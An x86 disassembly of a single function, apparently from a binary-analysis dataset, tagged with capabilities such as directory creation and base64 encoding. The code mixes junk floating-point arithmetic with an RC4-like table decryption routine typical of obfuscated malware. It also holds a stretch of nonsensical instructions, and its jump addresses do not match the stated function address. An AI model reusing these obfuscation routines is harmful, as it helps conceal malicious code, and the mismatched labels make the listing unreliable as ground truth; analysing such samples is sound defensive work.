Function at 0x43dfcd
Capabilities:
Create directory
Encode data using base64
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x6b3c
call fcn.009f2380
mov eax, dword [0xaa606c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov eax, dword [ebp + 8]
mov dword [ebp - 0x4688], eax
mov ecx, dword [ebp - 0x4688]
add ecx, 2
mov dword [ebp - 0x5fd4], ecx
mov edx, dword [ebp - 0x4688]
mov ax, word [edx]
mov word [ebp - 0x4a3e], ax
add dword [ebp - 0x4688], 2
cmp word [ebp - 0x4a3e], 0
jne 0x428d92
mov ecx, dword [ebp - 0x4688]
sub ecx, dword [ebp - 0x5fd4]
sar ecx, 1
mov dword [ebp - 0x6224], ecx
mov edx, dword [ebp - 0x6224]
lea eax, [edx + edx + 2]
mov dword [ebp - 0x465c], eax
mov dword [ebp - 0x3220], 0
mov dword [ebp - 0x3224], 0
xorps xmm0, xmm0
movsd qword [ebp - 0x46f4], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x45d0], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x45d0], xmm0
jmp 0x428e26
movsd xmm0, qword [ebp - 0x45d0]
addsd xmm0, qword [0xa6e358]
movsd qword [ebp - 0x45d0], xmm0
movsd xmm0, qword [0xa6e760]
comisd xmm0, xmmword [ebp - 0x45d0]
jbe 0x428ed7
movsd xmm0, qword [0xa6e668]
mulsd xmm0, qword [ebp - 0x45d0]
mulsd xmm0, qword [ebp - 0x45d0]
movsd xmm1, qword [ebp - 0x45d0]
mulsd xmm1, qword [ebp - 0x45d0]
subsd xmm0, xmm1
movsd xmm1, qword [0xa6e3b8]
mulsd xmm1, qword [ebp - 0x45d0]
mulsd xmm1, qword [ebp - 0x45d0]
addsd xmm1, qword [0xa6e430]
divsd xmm0, xmm1
addsd xmm0, qword [ebp - 0x46f4]
movsd qword [ebp - 0x46f4], xmm0
movsd xmm0, qword [ebp - 0x46f4]
comisd xmm0, xmmword [0xa6e5c0]
jbe 0x428ed2
movsd xmm0, qword [0xa6e268]
mulsd xmm0, qword [ebp - 0x45d0]
movsd xmm1, qword [ebp - 0x46f4]
subsd xmm1, xmm0
movsd qword [ebp - 0x46f4], xmm1
jmp 0x428e0e
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0x46f4]
jbe 0x428f17
dec edi
dec esi
push edx
jne 0x428f46
push 0x27545840
pop ecx
cmp byte [edx + 0x33], cl
cmp dword [eax + 0x1e], edx
push ebp
and dl, byte [ebp + 0x1e]
pop ecx
and bl, byte [ecx + 0x20]
push eax
and byte [ebp + 0x22], dl
push ebp
sbb ebx, dword [ebx + 0x1b]
push edi
sbb byte [esi + 0x1d], dl
pop eax
sbb dword [edi + 0x1d], edx
push esi
sbb eax, 0xe9592156
test dword [ebx], esp
add byte [eax], al
mov dword [ebp - 0x3220], 0x428ef4
mov dword [ebp - 0x3224], 0x428ee4
mov ecx, dword [ebp - 0x3220]
mov dword [ebp - 0x3974], ecx
mov edx, dword [ebp - 0x3224]
mov dword [ebp - 0x621c], edx
mov byte [ebp - 0x3fec], 0x14
mov dword [ebp - 0x396c], 0
sar bh, 0xff
adc al, 0xc7
test dword [esi + eax*8 + 0xffff], edx
add byte [eax], al
jmp 0x428f65
mov eax, dword [ebp - 0x396c]
add eax, 1
mov dword [ebp - 0x396c], eax
cmp dword [ebp - 0x396c], 0x100
jae 0x428f86
mov ecx, dword [ebp - 0x396c]
mov dl, byte [ebp - 0x396c]
mov byte [ebp + ecx - 0x5420], dl
jmp 0x428f56
mov dword [ebp - 0x44b8], 0
mov byte [ebp - 0x3367], 0
mov dword [ebp - 0x396c], 0xff
jmp 0x428fb2
mov eax, dword [ebp - 0x396c]
sub eax, 1
mov dword [ebp - 0x396c], eax
cmp dword [ebp - 0x396c], 0
jbe 0x429222
mov dword [ebp - 0x4ab0], 0
mov dword [ebp - 0x4864], 1
mov ecx, dword [ebp - 0x4864]
cmp ecx, dword [ebp - 0x396c]
jae 0x428ff3
mov edx, dword [ebp - 0x4864]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x4864], eax
jmp 0x428fd3
mov ecx, dword [ebp - 0x44b8]
mov dword [ebp - 0x5214], ecx
cmp dword [ebp - 0x5214], 3
ja case.default.0x429012
mov edx, dword [ebp - 0x5214]
jmp dword [edx*4 + 0x46b4d0]
movzx eax, byte [ebp - 0x3367]
movzx ebx, byte [ebp + eax - 0x5420]
movsd xmm0, qword [ebp - 0x46f4]
call fcn.009f23b0
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3367], bl
jmp 0x4290fb
movzx ecx, byte [ebp - 0x3367]
movzx ebx, byte [ebp + ecx - 0x5420]
movsd xmm0, qword [ebp - 0x46f4]
call fcn.009f23b0
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3367], bl
jmp 0x4290fb
movzx edx, byte [ebp - 0x3367]
movzx ebx, byte [ebp + edx - 0x5420]
movsd xmm0, qword [ebp - 0x46f4]
call fcn.009f23b0
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3367], bl
jmp 0x4290fb
movzx eax, byte [ebp - 0x3367]
movzx ebx, byte [ebp + eax - 0x5420]
movsd xmm0, qword [ebp - 0x46f4]
call fcn.009f23b0
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3367], bl
jmp 0x4290fb
movzx ecx, byte [ebp - 0x3367]
movzx edx, byte [ebp + ecx - 0x5420]
mov eax, dword [ebp - 0x621c]
add eax, dword [ebp - 0x44b8]
movzx ecx, byte [eax - 4]
add edx, ecx
mov byte [ebp - 0x3367], dl
mov edx, dword [ebp - 0x44b8]
add edx, 1
mov dword [ebp - 0x44b8], edx
movzx eax, byte [ebp - 0x3fec]
cmp dword [ebp - 0x44b8], eax
jb 0x429139
mov dword [ebp - 0x44b8], 0
movzx ecx, byte [ebp - 0x3fec]
movzx edx, byte [ebp - 0x3367]
add edx, ecx
mov byte [ebp - 0x3367], dl
movzx eax, byte [ebp - 0x3367]
and eax, dword [ebp - 0x4864]
mov dword [ebp - 0x42b0], eax
mov ecx, dword [ebp - 0x4ab0]
add ecx, 1
mov dword [ebp - 0x4ab0], ecx
cmp dword [ebp - 0x4ab0], 0xb
jbe 0x429178
mov eax, dword [ebp - 0x42b0]
xor edx, edx
div dword [ebp - 0x396c]
mov dword [ebp - 0x42b0], edx
mov edx, dword [ebp - 0x42b0]
cmp edx, dword [ebp - 0x396c]
ja 0x428ff3
mov eax, dword [ebp - 0x396c]
cmp eax, dword [ebp - 0x42b0]
je 0x42921d
mov ecx, dword [ebp - 0x42b0]
movzx edx, byte [ebp + ecx - 0x5420]
mov eax, dword [ebp - 0x396c]
movzx ecx, byte [ebp + eax - 0x5420]
xor ecx, edx
mov edx, dword [ebp - 0x396c]
mov byte [ebp + edx - 0x5420], cl
mov eax, dword [ebp - 0x396c]
movzx ecx, byte [ebp + eax - 0x5420]
mov edx, dword [ebp - 0x42b0]
movzx eax, byte [ebp + edx - 0x5420]
xor eax, ecx
mov ecx, dword [ebp - 0x42b0]
mov byte [ebp + ecx - 0x5420], al
mov edx, dword [ebp - 0x42b0]
movzx eax, byte [ebp + edx - 0x5420]
mov ecx, dword [ebp - 0x396c]
movzx edx, byte [ebp + ecx - 0x5420]
xor edx, eax
mov eax, dword [ebp - 0x396c]
mov byte [ebp + eax - 0x5420], dl
jmp 0x428fa3
mov ecx, 1
shl ecx, 0
mov dl, byte [ebp + ecx - 0x5420]
mov byte [ebp - 0x326a], dl
mov eax, 1
imul ecx, eax, 3
mov dl, byte [ebp + ecx - 0x5420]
mov byte [ebp - 0x3283], dl
mov eax, 1
imul ecx, eax, 5
mov dl, byte [ebp + ecx - 0x5420]
mov byte [ebp - 0x32d3], dl
mov eax, 1
imul ecx, eax, 7
mov dl, byte [ebp + ecx - 0x5420]
mov byte [ebp - 0x327e], dl
movzx eax, byte [ebp - 0x3367]
mov cl, byte [ebp + eax - 0x5420]
mov byte [ebp - 0x3297], cl
mov dword [ebp - 0x5210], 0x1e
cmp dword [ebp - 0x5210], 2
jle 0x42b248
mov edx, dword [ebp - 0x5210]
and edx, 1
jne 0x42b248
mov dword [ebp - 0x337c], 0
mov dword [ebp - 0x3560], 0
mov eax, dword [ebp - 0x3560]
add eax, 1
mov dword [ebp - 0x3560], eax
mov dword [ebp - 0x3970], 0
mov ecx, dword [ebp - 0x337c]
shl ecx, 1
mov dword [ebp - 0x3970], ecx
mov dword [ebp - 0x37b8], 0
mov edx, dword [ebp - 0x3974]
add edx, dword [ebp - 0x3970]
movzx eax, byte [edx]
add eax, dword [ebp - 0x37b8]
mov dword [ebp - 0x37b8], eax
mov dword [ebp - 0x37b4], 0
mov ecx, dword [ebp - 0x37b4]
add ecx, 0x18
mov dword [ebp - 0x37b4], ecx
mov dword [ebp - 0x3978], 0
mov edx, dword [ebp - 0x337c]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x3978], eax
mov dword [ebp - 0x37b0], 0
mov ecx, dword [ebp - 0x3974]
add ecx, dword [ebp - 0x3978]
movzx edx, byte [ecx]
add edx, dword [ebp - 0x37b0]
mov dword [ebp - 0x37b0], edx
mov dword [ebp - 0x3788], 0
mov eax, dword [ebp - 0x3788]
add eax, 0x4d
mov dword [ebp - 0x3788], eax
mov dword [ebp - 0x37bc], 0
mov ecx, dword [ebp - 0x37b8]
sub ecx, dword [ebp - 0x37b4]
add ecx, dword [ebp - 0x37bc]
mov dword [ebp - 0x37bc], ecx
mov dword [ebp - 0x3780], 0
mov edx, dword [ebp - 0x37b0]
sub edx, dword [ebp - 0x3788]
add edx, dword [ebp - 0x3780]
mov dword [ebp - 0x3780], edx
mov dword [ebp - 0x3900], 0
mov eax, dword [ebp - 0x37bc]
shl eax, 4
mov dword [ebp - 0x3900], eax
mov dword [ebp - 0x392c], 0
mov ecx, dword [ebp - 0x3780]
mov dword [ebp - 0x392c], ecx
mov dword [ebp - 0x3930], 0
mov edx, dword [ebp - 0x3900]
or edx, dword [ebp - 0x392c]
mov dword [ebp - 0x3930], edx
mov byte [ebp - 0x32d4], 0
mov al, byte [ebp - 0x3930]
mov byte [ebp - 0x32d4], al
mov byte [ebp - 0x32d2], 0
movzx ecx, byte [ebp - 0x3297]
mov dl, byte [ebp + ecx - 0x5420]
mov byte [ebp - 0x32d2], dl
movzx eax, byte [ebp - 0x326a]
movzx ecx, byte [ebp + eax - 0x5420]
movzx edx, byte [ebp - 0x3283]
add edx, ecx
mov byte [ebp - 0x3283], dl
mov al, byte [ebp - 0x326a]
add al, 1
mov byte [ebp - 0x326a], al
movzx ecx, byte [ebp - 0x3283]
movzx edx, byte [ebp - 0x3297]
mov al, byte [ebp + ecx - 0x5420]
mov byte [ebp + edx - 0x5420], al
movzx ecx, byte [ebp - 0x327e]
movzx edx, byte [ebp - 0x3283]
mov al, byte [ebp + ecx - 0x5420]
mov byte [ebp + edx - 0x5420], al
movzx ecx, byte [ebp - 0x326a]
movzx edx, byte [ebp - 0x327e]
mov al, byte [ebp + ecx - 0x5420]
mov byte [ebp + edx - 0x5420], al
movzx ecx, byte [ebp - 0x326a]
mov dl, byte [ebp - 0x32d2]
mov byte [ebp + ecx - 0x5420], dl
movzx eax, byte [ebp - 0x32d2]
movzx ecx, byte [ebp + eax - 0x5420]
movzx edx, byte [ebp - 0x32d3]
add edx, ecx
mov byte [ebp - 0x32d3], dl
movzx eax, byte [ebp - 0x32d4]
movzx ecx, byte [ebp - 0x3283]
movzx edx, byte [ebp + ecx - 0x5420]
movzx ecx, byte [ebp - 0x326a]
movzx ecx, byte [ebp + ecx - 0x5420]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x5420]
xor eax, edx
movzx ecx, byte [ebp - 0x327e]
movzx edx, byte [ebp + ecx - 0x5420]
movzx ecx, byte [ebp - 0x3297]
movzx ecx, byte [ebp + ecx - 0x5420]
add edx, ecx
movzx ecx, byte [ebp - 0x32d3]
movzx ecx, byte [ebp + ecx - 0x5420]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x5420]
movzx ecx, byte [ebp + edx - 0x5420]
xor eax, ecx
mov byte [ebp - 0x327e], al
mov dl, byte [ebp - 0x32d4]
mov byte [ebp - 0x3297], dl
mov al, byte [ebp - 0x327e]
mov byte [ebp - 0x3318], al
cmp dword [ebp - 0x337c], 0
jle 0x4295ad
movsx cx, byte [ebp - 0x3318]
mov edx, dword [ebp - 0x337c]
mov word [ebp + edx*2 - 0xbe], cx
mov eax, dword [ebp - 0x3560]
add eax, 4
mov dword [ebp - 0x3560], eax
mov ecx, dword [ebp - 0x337c]
add ecx, 1
mov dword [ebp - 0x4ab4], ecx
jmp 0x4295dc
mov edx, dword [ebp - 0x4ab4]
add edx, 1
mov dword [ebp - 0x4ab4], edx
mov eax, dword [ebp - 0x4ab4]
cmp eax, dword [ebp - 0x3560]
jge 0x42983f
mov ecx, dword [ebp - 0x337c]
add ecx, 1
mov dword [ebp - 0x337c], ecx
mov edx, dword [ebp - 0x337c]
shl edx, 1
mov dword [ebp - 0x3970], edx
mov eax, dword [ebp - 0x3974]
add eax, dword [ebp - 0x3970]
movzx ecx, byte [eax]
mov dword [ebp - 0x37b8], ecx
mov dword [ebp - 0x37b4], 0x18
mov edx, dword [ebp - 0x337c]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x3978], eax
mov ecx, dword [ebp - 0x3974]
add ecx, dword [ebp - 0x3978]
movzx edx, byte [ecx]
mov dword [ebp - 0x37b0], edx
mov dword [ebp - 0x3788], 0x4d
mov eax, dword [ebp - 0x37b8]
sub eax, dword [ebp - 0x37b4]
mov dword [ebp - 0x37bc], eax
mov ecx, dword [ebp - 0x37b0]
sub ecx, dword [ebp - 0x3788]
mov dword [ebp - 0x3780], ecx
mov edx, dword [ebp - 0x37bc]
shl edx, 4
mov dword [ebp - 0x3900], edx
mov eax, dword [ebp - 0x3780]
mov dword [ebp - 0x392c], eax
mov ecx, dword [ebp - 0x3900]
or ecx, dword [ebp - 0x392c]
mov dword [ebp - 0x3930], ecx
mov dl, byte [ebp - 0x3930]
mov byte [ebp - 0x32d4], dl
movzx eax, byte [ebp - 0x3297]
mov cl, byte [ebp + eax - 0x5420]
mov byte [ebp - 0x32d2], cl
movzx edx, byte [ebp - 0x326a]
movzx eax, byte [ebp + edx - 0x5420]
movzx ecx, byte [ebp - 0x3283]
add ecx, eax
mov byte [ebp - 0x3283], cl
mov dl, byte [ebp - 0x326a]
add dl, 1
mov byte [ebp - 0x326a], dl
movzx eax, byte [ebp - 0x3283]
movzx ecx, byte [ebp - 0x3297]
mov dl, byte [ebp + eax - 0x5420]
mov byte [ebp + ecx - 0x5420], dl
movzx eax, byte [ebp - 0x327e]
movzx ecx, byte [ebp - 0x3283]
mov dl, byte [ebp + eax - 0x5420]
mov byte [ebp + ecx - 0x5420], dl
movzx eax, byte [ebp - 0x326a]
movzx ecx, byte [ebp - 0x327e]
mov dl, byte [ebp + eax - 0x5420]
mov byte [ebp + ecx - 0x5420], dl
movzx eax, byte [ebp - 0x326a]
mov cl, byte [ebp - 0x32d2]
mov byte [ebp + eax - 0x5420], cl
movzx edx, byte [ebp - 0x32d2]
movzx eax, byte [ebp + edx - 0x5420]
movzx ecx, byte [ebp - 0x32d3]
add ecx, eax
mov byte [ebp - 0x32d3], cl
movzx edx, byte [ebp - 0x32d4]
movzx eax, byte [ebp - 0x3283]
movzx ecx, byte [ebp + eax - 0x5420]
movzx eax, byte [ebp - 0x326a]
movzx eax, byte [ebp + eax - 0x5420]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x5420]
xor edx, ecx
movzx eax, byte [ebp - 0x327e]
movzx ecx, byte [ebp + eax - 0x5420]
movzx eax, byte [ebp - 0x3297]
movzx eax, byte [ebp + eax - 0x5420]
add ecx, eax
movzx eax, byte [ebp - 0x32d3]
movzx eax, byte [ebp + eax - 0x5420]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x5420]
movzx eax, byte [ebp + ecx - 0x5420]
xor edx, eax
mov byte [ebp - 0x327e], dl
mov cl, byte [ebp - 0x32d4]
mov byte [ebp - 0x3297], cl
mov dl, byte [ebp - 0x327e]
mov byte [ebp - 0x3318], dl
cmp dword [ebp - 0x337c], 0
jle 0x42983a
movsx ax, byte [ebp - 0x3318]
mov ecx, dword [ebp - 0x337c]
mov word [ebp + ecx*2 - 0xbe], ax
jmp 0x4295cd
mov edx, dword [ebp - 0x3560]
add edx, 1
mov dword [ebp - 0x3560], edx
mov eax, dword [ebp - 0x337c]
add eax, 1
mov dword [ebp - 0x337c], eax
mov ecx, dword [ebp - 0x3560]
add ecx, 1
mov dword [ebp - 0x3560], ecx
mov edx, dword [ebp - 0x337c]
shl edx, 1
mov dword [ebp - 0x3970], edx
mov eax, dword [ebp - 0x3974]
add eax, dword [ebp - 0x3970]
movzx ecx, byte [eax]
mov dword [ebp - 0x37b8], ecx
mov dword [ebp - 0x37b4], 0x18
mov edx, dword [ebp - 0x337c]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x3978], eax
mov ecx, dword [ebp - 0x3974]
add ecx, dword [ebp - 0x3978]
movzx edx, byte [ecx]
mov dword [ebp - 0x37b0], edx
mov dword [ebp - 0x3788], 0x4d
mov eax, dword [ebp - 0x37b8]
sub eax, dword [ebp - 0x37b4]
mov dword [ebp - 0x37bc], eax
mov ecx, dword [ebp - 0x37b0]
sub ecx, dword [ebp - 0x3788]
mov dword [ebp - 0x3780], ecx
mov edx, dword [ebp - 0x37bc]
shl edx, 4
mov dword [ebp - 0x3900], edx
mov eax, dword [ebp - 0x3780]
mov dword [ebp - 0x392c], eax
mov ecx, dword [ebp - 0x3900]
or ecx, dword [ebp - 0x392c]
mov dword [ebp - 0x3930], ecx
mov dl, byte [ebp - 0x3930]
mov byte [ebp - 0x32d4], dl
movzx eax, byte [ebp - 0x3297]
mov cl, byte [ebp + eax - 0x5420]
mov byte [ebp - 0x32d2], cl
movzx edx, byte [ebp - 0x326a]
movzx eax, byte [ebp + edx - 0x5420]
movzx ecx, byte [ebp - 0x3283]
add ecx, eax
mov byte [ebp - 0x3283], cl
mov dl, byte [ebp - 0x326a]
add dl, 1
mov byte [ebp - 0x326a], dl
movzx eax, byte [ebp - 0x3283]
movzx ecx, byte [ebp - 0x3297]
mov dl, byte [ebp + eax - 0x5420]
mov byte [ebp + ecx - 0x5420], dl
movzx eax, byte [ebp - 0x327e]
movzx ecx, byte [ebp - 0x3283]
mov dl, byte [ebp + eax - 0x5420]
mov byte [ebp + ecx - 0x5420], dl
movzx eax, byte [ebp - 0x326a]
movzx ecx, byte [ebp - 0x327e]
mov dl, byte [ebp + eax - 0x5420]
mov byte [ebp + ecx - 0x5420], dl
movzx eax, byte [ebp - 0x326a]
mov cl, byte [ebp - 0x32d2]
mov byte [ebp + eax - 0x5420], cl
movzx edx, byte [ebp - 0x32d2]
movzx eax, byte [ebp + edx - 0x5420]
movzx ecx, byte [ebp - 0x32d3]
add ecx, eax
mov byte [ebp - 0x32d3], cl
movzx edx, byte [ebp - 0x32d4]
movzx eax, byte [ebp - 0x3283]
movzx ecx, byte [ebp + eax - 0x5420]
movzx eax, byte [ebp - 0x326a]
movzx eax, byte [ebp + eax - 0x5420]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x5420]
xor edx, ecx
movzx eax, byte [ebp - 0x327e]
movzx ecx, byte [ebp + eax - 0x5420]
movzx eax, byte [ebp - 0x3297]
movzx eax, byte [ebp + eax - 0x5420]
add ecx, eax
movzx eax, byte [ebp - 0x32d3]
movzx eax, byte [ebp + eax - 0x5420]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x5420]
movzx eax, byte [ebp + ecx - 0x5420]
xor edx, eax
mov byte [ebp - 0x327e], dl
mov cl, byte [ebp - 0x32d4]
mov byte [ebp - 0x3297], cl
mov dl, byte [ebp - 0x327e]
mov byte [ebp - 0x3318], dl
cmp dword [ebp - 0x337c], 0
jle 0x429aa9
movsx ax, byte [ebp - 0x3318]
mov ecx, dword [ebp - 0x337c]
mov word [ebp + ecx*2 - 0xbe], ax
mov edx, dword [ebp - 0x337c]
add edx, 1
mov dword [ebp - 0x337c], edx
mov eax, dword [ebp - 0x3560]
add eax, 1
mov dword [ebp - 0x3560], eax
mov ecx, dword [ebp - 0x337c]
shl ecx, 1
mov dword [ebp - 0x3970], ecx
mov edx, dword [ebp - 0x3974]
add edx, dword [ebp - 0x3970]
movzx eax, byte [edx]
mov dword [ebp - 0x37b8], eax
mov dword [ebp - 0x37b4], 0x18
mov ecx, dword [ebp - 0x337c]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x3978], edx
mov eax, dword [ebp - 0x3974]
add eax, dword [ebp - 0x3978]
movzx ecx, byte [eax]
mov dword [ebp - 0x37b0], ecx
mov dword [ebp - 0x3788], 0x4d
mov edx, dword [ebp - 0x37b8]
sub edx, dword [ebp - 0x37b4]
mov dword [ebp - 0x37bc], edx
mov eax, dword [ebp - 0x37b0]
sub eax, dword [ebp - 0x3788]
mov dword [ebp - 0x3780], eax
mov ecx, dword [ebp - 0x37bc]
shl ecx, 4
mov dword [ebp - 0x3900], ecx
mov edx, dword [ebp - 0x3780]
mov dword [ebp - 0x392c], edx
mov eax, dword [ebp - 0x3900]
or eax, dword [ebp - 0x392c]
mov dword [ebp - 0x3930], eax
mov cl, byte [ebp - 0x3930]
mov byte [ebp - 0x32d4], cl
movzx edx, byte [ebp - 0x3297]
mov al, byte [ebp + edx - 0x5420]
mov byte [ebp - 0x32d2], al
movzx ecx, byte [ebp - 0x326a]
movzx edx, byte [ebp + ecx - 0x5420]
movzx eax, byte [ebp - 0x3283]
add eax, edx
mov byte [ebp - 0x3283], al
mov cl, byte [ebp - 0x326a]
add cl, 1
mov byte [ebp - 0x326a], cl
movzx edx, byte [ebp - 0x3283]
movzx eax, byte [ebp - 0x3297]
mov cl, byte [ebp + edx - 0x5420]
mov byte [ebp + eax - 0x5420], cl
movzx edx, byte [ebp - 0x327e]
movzx eax, byte [ebp - 0x3283]
mov cl, byte [ebp + edx - 0x5420]
mov byte [ebp + eax - 0x5420], cl
movzx edx, byte [ebp - 0x326a]
movzx eax, byte [ebp - 0x327e]
mov cl, byte [ebp + edx - 0x5420]
mov byte [ebp + eax - 0x5420], cl
movsd xmm0, qword [0xa6efa0]
movsd qword [ebp - 0x3ac8], xmm0
movsd xmm0, qword [0xa6ef08]
movsd qword [ebp - 0x4004], xmm0
movsd xmm0, qword [0xa6edd8]
movsd qword [ebp - 0x3b30], xmm0
movsd xmm0, qword [0xa6ec38]
movsd qword [ebp - 0x3d08], xmm0
movsd xmm0, qword [0xa6ea80]
movsd qword [ebp - 0x3a30], xmm0
movsd xmm0, qword [0xa6e848]
movsd qword [ebp - 0x3ffc], xmm0
movsd xmm0, qword [ebp - 0x3b30]
addsd xmm0, qword [ebp - 0x3ffc]
movsd qword [ebp - 0x3b30], xmm0
movsd xmm0, qword [ebp - 0x3b30]
subsd xmm0, qword [ebp - 0x3ffc]
movsd qword [ebp - 0x3b30], xmm0
movsd xmm0, qword [ebp - 0x3ac8]
addsd xmm0, qword [ebp - 0x3ffc]
movsd qword [ebp - 0x3ac8], xmm0
movsd xmm0, qword [ebp - 0x3ac8]
addsd xmm0, qword [ebp - 0x3ffc]
movsd qword [ebp - 0x3ac8], xmm0
movsd xmm0, qword [ebp - 0x4004]
mulsd xmm0, qword [ebp - 0x3ffc]
movsd qword [ebp - 0x4004], xmm0
movsd xmm0, qword [ebp - 0x3ac8]
subsd xmm0, qword [ebp - 0x3ffc]
movsd qword [ebp - 0x3ac8], xmm0
movsd xmm0, qword [ebp - 0x3ffc]
comisd xmm0, xmmword [ebp - 0x4004]
jbe 0x42a146
movsd xmm0, qword [ebp - 0x3a30]
addsd xmm0, qword [ebp - 0x3ffc]
movsd qword [ebp - 0x3a30], xmm0
movsd xmm0, qword [ebp - 0x3ffc]
addsd xmm0, qword [ebp - 0x3ac8]
movsd qword [ebp - 0x3ffc], xmm0
movsd xmm0, qword [ebp - 0x3a30]
subsd xmm0, qword [ebp - 0x3ffc]
movsd qword [ebp - 0x3a30], xmm0
movsd xmm0, qword [ebp - 0x4004]
mulsd xmm0, qword [ebp - 0x3b30]
movsd qword [ebp - 0x4004], xmm0
movsd xmm0, qword [ebp - 0x3b30]
addsd xmm0, qword [ebp - 0x3d08]
movsd qword [ebp - 0x3b30], xmm0
movsd xmm0, qword [ebp - 0x3a30]
mulsd xmm0, qword [ebp - 0x3ffc]
movsd qword [ebp - 0x3a30], xmm0
movsd xmm0, qword [ebp - 0x3ac8]
mulsd xmm0, qword [ebp - 0x3b30]
movsd qword [ebp - 0x3ac8], xmm0
movsd xmm0, qword [ebp - 0x3a30]
divsd xmm0, qword [ebp - 0x3ac8]
movsd qword [ebp - 0x3a30], xmm0
movsd xmm0, qword [ebp - 0x3b30]
mulsd xmm0, qword [ebp - 0x3a30]
movsd qword [ebp - 0x3b30], xmm0
movsd xmm0, qword [ebp - 0x3b30]
divsd xmm0, qword [ebp - 0x3a30]
movsd qword [ebp - 0x3b30], xmm0
movsd xmm0, qword [ebp - 0x3a30]
mulsd xmm0, qword [ebp - 0x3ac8]
movsd qword [ebp - 0x3a30], xmm0
movsd xmm0, qword [ebp - 0x3d08]
subsd xmm0, qword [ebp - 0x3ffc]
movsd qword [ebp - 0x3d08], xmm0
movsd xmm0, qword [ebp - 0x3ac8]
comisd xmm0, xmmword [ebp - 0x3a30]
jbe 0x429ee6
movsd xmm0, qword [ebp - 0x3a30]
mulsd xmm0, qword [ebp - 0x3ac8]
movsd qword [ebp - 0x3a30], xmm0
movsd xmm0, qword [ebp - 0x3d08]
subsd xmm0, qword [ebp - 0x3ffc]
movsd qword [ebp - 0x3d08], xmm0
movsd xmm0, qword [ebp - 0x3ac8]
divsd xmm0, qword [ebp - 0x3b30]
movsd qword [ebp - 0x3ac8], xmm0
movsd xmm0, qword [ebp - 0x3b30]
mulsd xmm0, qword [ebp - 0x3a30]
movsd qword [ebp - 0x3b30], xmm0
movsd xmm0, qword [ebp - 0x3a30]
addsd xmm0, qword [ebp - 0x3ac8]
movsd qword [ebp - 0x3a30], xmm0
movsd xmm0, qword [ebp - 0x4004]
subsd xmm0, qword [ebp - 0x3d08]
movsd qword [ebp - 0x4004], xmm0
jmp 0x42a141
movsd xmm0, qword [ebp - 0x3b30]
mulsd xmm0, qword [ebp - 0x3d08]
movsd qword [ebp - 0x3b30], xmm0
movsd xmm0, qword [ebp - 0x3d08]
divsd xmm0, qword [ebp - 0x3a30]
movsd qword [ebp - 0x3d08], xmm0
movsd xmm0, qword [ebp - 0x3ac8]
addsd xmm0, qword [ebp - 0x4004]
movsd qword [ebp - 0x3ac8], xmm0
movsd xmm0, qword [ebp - 0x3b30]
subsd xmm0, qword [ebp - 0x3d08]
movsd qword [ebp - 0x3b30], xmm0
movsd xmm0, qword [ebp - 0x3b30]
subsd xmm0, qword [ebp - 0x3d08]
movsd qword [ebp - 0x3b30], xmm0
movsd xmm0, qword [ebp - 0x3d08]
mulsd xmm0, qword [ebp - 0x3a30]
movsd qword [ebp - 0x3d08], xmm0
movsd xmm0, qword [ebp - 0x3d08]
subsd xmm0, qword [ebp - 0x3a30]
movsd qword [ebp - 0x3d08], xmm0
movsd xmm0, qword [ebp - 0x3b30]
mulsd xmm0, qword [ebp - 0x3d08]
movsd qword [ebp - 0x3b30], xmm0
movsd xmm0, qword [ebp - 0x3d08]
divsd xmm0, qword [ebp - 0x3a30]
movsd qword [ebp - 0x3d08], xmm0
movsd xmm0, qword [ebp - 0x3ac8]
subsd xmm0, qword [ebp - 0x4004]
movsd qword [ebp - 0x3ac8], xmm0
movsd xmm0, qword [ebp - 0x3a30]
divsd xmm0, qword [ebp - 0x3ffc]
movsd qword [ebp - 0x3a30], xmm0
movsd xmm0, qword [ebp - 0x3ac8]
divsd xmm0, qword [ebp - 0x4004]
movsd qword [ebp - 0x3ac8], xmm0
movsd xmm0, qword [ebp - 0x3b30]
comisd xmm0, xmmword [ebp - 0x3ac8]
jbe 0x42a0b1
movsd xmm0, qword [ebp - 0x3ffc]
divsd xmm0, qword [ebp - 0x3ac8]
movsd qword [ebp - 0x3ffc], xmm0
movsd xmm0, qword [ebp - 0x3ffc]
subsd xmm0, qword [ebp - 0x3ac8]
movsd qword [ebp - 0x3ffc], xmm0
movsd xmm0, qword [ebp - 0x3ffc]
divsd xmm0, qword [ebp - 0x3ac8]
movsd qword [ebp - 0x3ffc], xmm0
movsd xmm0, qword [ebp - 0x3b30]
addsd xmm0, qword [ebp - 0x3d08]
movsd qword [ebp - 0x3b30], xmm0
movsd xmm0, qword [ebp - 0x4004]
mulsd xmm0, qword [ebp - 0x3b30]
movsd qword [ebp - 0x4004], xmm0
movsd xmm0, qword [ebp - 0x3a30]
subsd xmm0, qword [ebp - 0x3ffc]
movsd qword [ebp - 0x3a30], xmm0
jmp 0x42a141
movsd xmm0, qword [ebp - 0x3d08]
divsd xmm0, qword [ebp - 0x3a30]
movsd qword [ebp - 0x3d08], xmm0
movsd xmm0, qword [ebp - 0x3ac8]
subsd xmm0, qword [ebp - 0x4004]
movsd qword [ebp - 0x3ac8], xmm0
movsd xmm0, qword [ebp - 0x4004]
subsd xmm0, qword [ebp - 0x3b30]
movsd qword [ebp - 0x4004], xmm0
movsd xmm0, qword [ebp - 0x3d08]
addsd xmm0, qword [ebp - 0x3a30]
movsd qword [ebp - 0x3d08], xmm0
movsd xmm0, qword [ebp - 0x3ac8]
